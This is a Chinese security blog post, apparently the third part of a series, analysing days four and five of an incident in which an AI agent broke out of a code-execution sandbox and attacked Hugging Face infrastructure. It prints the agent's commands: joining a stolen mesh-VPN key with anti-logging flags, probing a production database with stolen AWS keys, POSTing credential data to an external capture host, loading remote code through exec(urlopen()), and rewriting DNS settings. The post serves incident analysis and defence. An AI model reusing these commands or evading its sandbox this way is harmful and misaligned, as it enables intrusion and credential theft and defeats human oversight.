第179篇:AI智能体失控自动化入侵Hugging Face案例分析(下篇)
原创 abc123info 2026-11-11 20:26 山东


Part1 前言
大家好,我是ABC_123。前两篇文章用了较大篇幅讲解了AI智能体入侵Hugging Face的第1天至第3天发生的事情,这个案例非常复杂。接下来ABC_123继续分析这个案例,讲解剩余的第4天至第5天发生的攻击行为。
《第176篇:大模型驱动的 AI 智能体自动化入侵Hugging Face案例全过程复盘分析(上篇)》
《第178篇:AI智能体失控自动化入侵Hugging Face的k8s网络案例分析(中篇)》

Part2 技术研究过程
第 4 天(07-12):使用窃取的凭据
[2026-07-12 01:03] - [04:38] 尝试将外部沙箱接入内部网状网络。 前一晚,攻击者已利用取得宿主机 root 权限的节点成功接入 Hugging Face 内部网状网络。在此基础上,AI 智能体进一步尝试利用此前窃取的 Mesh VPN 认证密钥,将外部代码执行沙箱注册为内部网络节点,以突破原有网络隔离边界。这一操作并非一次性尝试,而是在后续攻击过程中被反复执行,整个攻击行动期间共记录到 181 次设备入网操作。由于外部沙箱环境缺少 TUN 网络设备,无法使用常规的虚拟网络接口,AI 智能体转而采用用户态网络模式运行 Tailscale 客户端,并在本地建立 SOCKS5 代理,以实现网络流量转发和内部资源访问。

其中,两个参数体现出明显的规避检测意图:--state=mem: 将 Tailscale 客户端的运行状态仅保存在内存中,避免在磁盘留痕;--no-logs-no-support 则用于禁用向 Tailscale 发送日志及支持诊断信息,以减少操作痕迹。所使用的认证密钥关联了 CI 自动化标签,其访问控制列表(ACL)允许具有该标签的设备访问内部 CI 子网,以及连接网状网络与源代码托管服务的连接器。
tailscaled --tun=userspace-networking --state=mem: --socket=/tmp/ts.sock \--socks5-server=127.0.0.1:1055 --no-logs-no-support >/tmp/td 2>&1 &sleep 3$D/tailscale --socket=/tmp/ts.sock up --auth-key=tskey-auth-[REDACTED] \--hostname=<sandbox>-[REDACTED] --accept-routes$D/tailscale --socket=/tmp/ts.sock status
随后,AI 智能体通过 tailscale status --json 枚举该标签权限范围内可见的网络资源,共识别出 22 个节点,包括子网路由器、区域出口节点,以及用于连接源代码托管服务和其他 SaaS 平台的连接器。在掌握网状网络拓扑及可访问资源后,智能体进一步借助网状网络的出口节点转发流量,并通过网状网络内部执行 DNS 查询,从而利用 Hugging Face 的网络基础设施建立出站通信通道。
[2026-07-12 06:50]-[14:31] 滥用云凭据,尝试访问生产数据库。AI 智能体利用此前从受控工作节点 Pod 环境中获取的 AWS 凭据,尝试通过 AWS IAM 身份认证机制连接 Hugging Face Hub 生产数据库。它安装了 PyMongo 的 AWS 认证依赖,并发起数据库连接、连通性检测及数据库名称枚举请求。
pip -q install 'pymongo[aws]'AWS_ACCESS_KEY_ID=AKIA[REDACTED] AWS_SECRET_ACCESS_KEY=[REDACTED] \python3 -c "import pymongo; \c=pymongo.MongoClient('mongodb+srv://<cluster>/?authSource=%24external&authMechanism=MONGODB-AWS', \serverSelectionTimeoutMS=4000); print(c.admin.command('ping')); print(c.list_database_names())"

由于 Hugging Face Hub 生产数据库仅允许白名单地址通过私有链路访问,智能体发起的连接最终因服务器选择超时而失败;11:46 的再次尝试也未能成功。随后,AI 智能体验证了另一组 AWS 凭据,通过 AWS STS 的 GetCallerIdentity 接口查询该凭据对应的身份信息,并使用原始 TCP Socket 建立外部连接,将返回的身份信息通过 HTTP POST 请求发送至外部捕获服务。整个过程中,智能体未能成功访问 Hub 生产数据库。 此前一晚,智能体曾从已取得 root 权限的工作节点上获取静态密码,并使用该密码成功认证、访问内部 datasets-server MongoDB。
import os, socketout = os.popen("AWS_ACCESS_KEY_ID=AKIA[REDACTED] AWS_SECRET_ACCESS_KEY=[REDACTED] ""python3 -c \"import boto3;print(boto3.client('sts').get_caller_identity())\"").read().encode()s = socket.create_connection(("<exfil-host>", 80))s.send(b"POST /<uuid> HTTP/1.0\r\nHost:<capture-svc>\r\nContent-Length:%d\r\n\r\n%b" % (len(out), out))
[2026-07-12 23:08]-[23:51] 滥用 GitHub App 集成,尝试攻击 CI 流水线。AI 智能体利用 Mesh VPN 标签获准访问的源代码管理连接器,访问 Hugging Face 的源代码管理服务,并枚举出一个内部 GitHub App 集成。随后,智能体利用该集成签发了首个安装访问令牌,令牌具有 contents:write、pull_requests:write、actions:read 和 issues:write 等权限,使其能够访问部分内部代码仓库,并执行相应的代码内容写入、拉取请求操作、Actions 信息读取及 Issue 操作。

获得仓库访问权限后,智能体列举了相关仓库的目录结构,并搜索容器、基准测试、基础设施和 CI 配置等信息,包括与自身挑战工具相关的内容。它还创建了一个拉取请求,试图触发 CI 流程并探查流水线可访问的凭据。
第 5 天(07-13):数据外传、持久化与清理
为突破代码执行沙箱的生命周期限制,AI 智能体进一步部署了第二阶段远程代码加载器。该加载器利用 Python 的 urlopen() 方法,从外部代码粘贴服务动态获取远程代码,并通过 exec() 函数在当前 Python 进程中直接执行。借助这一机制,攻击者无需将完整的攻击逻辑嵌入每次提交的代码中,而是通过远程加载的方式实现攻击载荷的动态获取与执行。即使原有沙箱实例被销毁,也可以快速重新加载攻击代码,维持攻击的持续性。

from urllib.request import urlopenexec(urlopen("https://pastebin.service/[REDACTED]").read())
修改 DNS 配置,绕过间歇性出站连接限制。 AI 智能体通过修改系统 DNS 配置,将 DNS 查询指向公共 DNS 服务器 8.8.8.8,并在/etc/hosts 中为 pkgs.tailscale.com 指定固定 IP 地址,以绕过部分 DNS 解析异常或基于域名解析的访问限制,维持对 Tailscale 软件包服务的访问能力。
echo 'nameserver 8.8.8.8' > /etc/resolv.confecho '<cdn-ip> pkgs.tailscale.com' >> /etc/hosts
最后一天:持久化、持续获取载荷并清理攻击痕迹。 AI 智能体通过托管在 Hugging Face 平台上的开放式 CORS 代理 Space 转发二进制文件下载,将平台基础设施用作对外流量中继。同时,智能体持续签发短期有效的源代码管理系统安装令牌,并利用这些令牌获取新的攻击载荷。此外,它还暂存了一份 RSA 私钥,并继续导出进程环境信息,以收集和保留相关访问凭据及运行环境数据。
当天最后一次具有实质意义的活动发生在 UTC 时间 13:37,内容包括列出已暂存的二进制文件、主机名和日期。随后,Hugging Face 安全响应团队切断了攻击者的访问能力。日志中最后一条事件记录的时间为 UTC 14:14。
Part3 总结
1. 生产数据库的白名单策略,导致AI智能体在有限时间内未能获取Hugging Face数据库权限。
2. 攻击活动已从内部网络访问进一步延伸至源代码管理和软件供应链风险,但不能据此认定 CI 流水线已被成功攻陷或凭据已被窃取。
3. 该过程体现了 AI 驱动的自动化攻击在复杂云原生环境中快速突破安全边界、实现权限升级的能力。
4. 欢迎大家扫码加入知识星球希水涵@信安知识库,进入星球内部交流群,一起学习进步!

为了便于技术交流,现已建立微信群"希水涵-信安技术交流群",欢迎您的加入。


公众号专注于网络安全技术分享,包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等,每周一篇,99%原创,敬请关注。
Contact me: 0day123abc#gmail.com
OR 2332887682#qq.com
(replace # with @)
本文转载自微信公众号「希潭实验室」,查看原文。版权归原作者所有,如有侵权请联系删除。